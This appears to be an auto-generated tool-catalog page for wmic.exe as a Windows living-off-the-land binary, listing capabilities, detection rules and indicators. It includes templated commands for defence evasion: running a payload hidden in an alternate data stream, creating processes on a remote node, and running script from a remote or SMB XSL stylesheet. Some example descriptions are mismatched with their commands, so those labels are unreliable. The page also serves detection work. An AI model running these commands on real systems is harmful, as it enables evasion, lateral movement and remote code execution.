windows enabled community high v1.0.0

wmic

The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\Windows\System32\wbem\wmic.exe; C:\Windows\SysWOW64\wbem\wmic.exe.

📋 Live Preview
wmic
wmic

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.alternate-data-stream
security.execution.command
system.file.copy

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writeprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Execute a .EXE file stored as an Alternate Data Stream (ADS) (Execute binary file hidden in Alternate data streams to evade defensive counter measures)

wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

Execute calc from wmic (Execute binary from wmic to evade defensive counter measures)

wmic.exe process call create "{CMD}"

Execute evil.exe on the remote system. (Execute binary on a remote system)

wmic.exe /node:"192.168.0.1" process call create "{CMD}"

Create a volume shadow copy of NTDS.dit that can be copied. (Execute binary on remote system)

wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

Executes JScript or VBScript embedded in the target remote XSL stylsheet. (Execute script from remote system)

wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

Copy file from source to destination. (Copy file.)

wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml
elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml
elastic https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml
elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
splunk https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml
splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml
splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml
splunk https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml
blockrule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
ioc Wmic retrieving scripts from remote system/Internet location
ioc DotNet CLR libraries loaded into wmic.exe
ioc DotNet CLR Usage Log - wmic.exe.log
ioc wmiprvse.exe writing files

Documentation

wmic

wmic is a Windows LOLBin. The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\Windows\System32\wbem\wmic.exe; C:\Windows\SysWOW64\wbem\wmic.exe.

References